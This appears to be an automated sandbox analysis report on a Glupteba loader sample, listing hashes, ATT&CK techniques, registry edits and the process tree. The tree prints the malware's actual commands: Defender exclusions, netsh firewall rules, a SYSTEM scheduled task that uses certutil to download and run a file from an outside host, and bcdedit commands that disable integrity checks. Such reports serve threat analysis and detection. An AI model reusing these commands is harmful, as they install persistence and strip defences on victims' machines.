glupteba | 9808a3875c36c7fc105ebba81213f9c108dbf12d65025752013ea2a2763578d6

Analysis

max time kernel
144s
max time network
144s
platform
windows10_x64
resource
win10v200722
submitted
27-08-2020 02:26

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General

Target

SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
Size

3.8MB
MD5

b6240ec8985bd080a7193f70801b2810
SHA1

75d579b58ab63268d180c055ba040a4752438d05
SHA256

9808a3875c36c7fc105ebba81213f9c108dbf12d65025752013ea2a2763578d6
SHA512

f9c7191b398927a566d81a329507b4236f6e09ff3a2fe8ed8f954c77bdc02165371aaea8ae26354c8f3a464784721e66f9945cdaeb777041c1c7538f743dbe02

Score

10^/10

glupteba discovery dropper evasion loader persistence trojan

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3908-2-0x0000000000400000-0x0000000000B11000-memory.dmp	family_glupteba
behavioral2/memory/1100-10-0x0000000000400000-0x0000000000B11000-memory.dmp	family_glupteba

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 676 created 3908	676	svchost.exe	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
PID 676 created 2544	676	svchost.exe	csrss.exe
PID 676 created 2544	676	svchost.exe	csrss.exe
PID 676 created 2544	676	svchost.exe	csrss.exe

Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112

Modifies boot configuration data using bcdedit 15 IoCs

Processes:

bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exe

pid	process
408	bcdedit.exe
3964	bcdedit.exe
1588	bcdedit.exe
3336	bcdedit.exe
3632	bcdedit.exe
3640	bcdedit.exe
3824	bcdedit.exe
3108	bcdedit.exe
3896	bcdedit.exe
3444	bcdedit.exe
468	bcdedit.exe
3956	bcdedit.exe
2820	bcdedit.exe
3644	bcdedit.exe
1520	bcdedit.exe

Drops file in Drivers directory 2 IoCs

Processes:

dsefix.execsrss.exe

description ioc process

File created C:\Windows\system32\drivers\VBoxDrv.sys dsefix.exe
File created C:\Windows\System32\drivers\Winmon.sys csrss.exe
Executes dropped EXE 3 IoCs

Processes:

csrss.exepatch.exedsefix.exe

pid process

2544 csrss.exe
1396 patch.exe
3064 dsefix.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command-Line Interface
T1059
Loads dropped DLL 4 IoCs

Processes:

patch.exe

pid process

1396 patch.exe
1396 patch.exe
1396 patch.exe
1396 patch.exe

description	ioc	process
File created	C:\Windows\system32\drivers\VBoxDrv.sys	dsefix.exe
File created	C:\Windows\System32\drivers\Winmon.sys	csrss.exe

pid	process
2544	csrss.exe
1396	patch.exe
3064	dsefix.exe

pid	process
1396	patch.exe
1396	patch.exe
1396	patch.exe
1396	patch.exe

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\MorningMeadow = "0"	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\801282dfd0b8 = "0"	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\801282dfd0b8.exe = "0"	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe = "0"	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\MorningMeadow = "\"C:\\Windows\\rss\\csrss.exe\""	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 2 IoCs

Processes:

SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe

description	ioc	process
File opened for modification	C:\Windows\rss	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
File created	C:\Windows\rss\csrss.exe	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

812 schtasks.exe
3608 schtasks.exe

pid	process
812	schtasks.exe
3608	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exenetsh.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control\NetTrace	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	csrss.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exeSecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe

pid	process
3908	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
3908	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
1100	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
1100	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe

Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid process

612
612

pid	process
612
612

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	3908	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
Token: SeImpersonatePrivilege	3908	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
Token: SeTcbPrivilege	676	svchost.exe
Token: SeTcbPrivilege	676	svchost.exe
Token: SeBackupPrivilege	676	svchost.exe
Token: SeRestorePrivilege	676	svchost.exe
Token: SeBackupPrivilege	676	svchost.exe
Token: SeRestorePrivilege	676	svchost.exe
Token: SeBackupPrivilege	676	svchost.exe
Token: SeRestorePrivilege	676	svchost.exe
Token: SeBackupPrivilege	676	svchost.exe
Token: SeRestorePrivilege	676	svchost.exe
Token: SeSystemEnvironmentPrivilege	2544	csrss.exe
Token: SeBackupPrivilege	676	svchost.exe
Token: SeRestorePrivilege	676	svchost.exe
Token: SeBackupPrivilege	676	svchost.exe
Token: SeRestorePrivilege	676	svchost.exe

Suspicious use of WriteProcessMemory 52 IoCs

Processes:

svchost.exeSecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.execmd.execmd.exepatch.execsrss.exe

description	pid	process	target process
PID 676 wrote to memory of 1100	676	svchost.exe	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
PID 676 wrote to memory of 1100	676	svchost.exe	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
PID 676 wrote to memory of 1100	676	svchost.exe	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
PID 1100 wrote to memory of 3392	1100	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe	cmd.exe
PID 1100 wrote to memory of 3392	1100	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe	cmd.exe
PID 3392 wrote to memory of 1700	3392	cmd.exe	netsh.exe
PID 3392 wrote to memory of 1700	3392	cmd.exe	netsh.exe
PID 1100 wrote to memory of 984	1100	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe	cmd.exe
PID 1100 wrote to memory of 984	1100	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe	cmd.exe
PID 984 wrote to memory of 4048	984	cmd.exe	netsh.exe
PID 984 wrote to memory of 4048	984	cmd.exe	netsh.exe
PID 1100 wrote to memory of 2544	1100	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe	csrss.exe
PID 1100 wrote to memory of 2544	1100	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe	csrss.exe
PID 1100 wrote to memory of 2544	1100	SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe	csrss.exe
PID 676 wrote to memory of 812	676	svchost.exe	schtasks.exe
PID 676 wrote to memory of 812	676	svchost.exe	schtasks.exe
PID 676 wrote to memory of 3608	676	svchost.exe	schtasks.exe
PID 676 wrote to memory of 3608	676	svchost.exe	schtasks.exe
PID 676 wrote to memory of 1396	676	svchost.exe	patch.exe
PID 676 wrote to memory of 1396	676	svchost.exe	patch.exe
PID 1396 wrote to memory of 408	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 408	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3964	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3964	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 1588	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 1588	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3336	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3336	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3632	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3632	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3640	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3640	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3824	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3824	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3108	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3108	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3896	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3896	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3444	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3444	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 468	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 468	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3956	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3956	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 2820	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 2820	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3644	1396	patch.exe	bcdedit.exe
PID 1396 wrote to memory of 3644	1396	patch.exe	bcdedit.exe
PID 2544 wrote to memory of 1520	2544	csrss.exe	bcdedit.exe
PID 2544 wrote to memory of 1520	2544	csrss.exe	bcdedit.exe
PID 2544 wrote to memory of 3064	2544	csrss.exe	dsefix.exe
PID 2544 wrote to memory of 3064	2544	csrss.exe	dsefix.exe

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3908

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe"
2⤵
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1100

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\801282dfd0b8\801282dfd0b8.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:3392

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\801282dfd0b8\801282dfd0b8.exe" enable=yes
4⤵
- Modifies data under HKEY_USERS
PID:1700

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:984

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
PID:4048

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2544

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:812

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://bbistrovantonbb.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:3608

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1396

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
5⤵
- Modifies boot configuration data using bcdedit
PID:408

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:3964

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:1588

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
5⤵
- Modifies boot configuration data using bcdedit
PID:3336

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:3632

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:3640

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
5⤵
- Modifies boot configuration data using bcdedit
PID:3824

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
5⤵
- Modifies boot configuration data using bcdedit
PID:3108

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
5⤵
- Modifies boot configuration data using bcdedit
PID:3896

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
5⤵
- Modifies boot configuration data using bcdedit
PID:3444

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
5⤵
- Modifies boot configuration data using bcdedit
PID:468

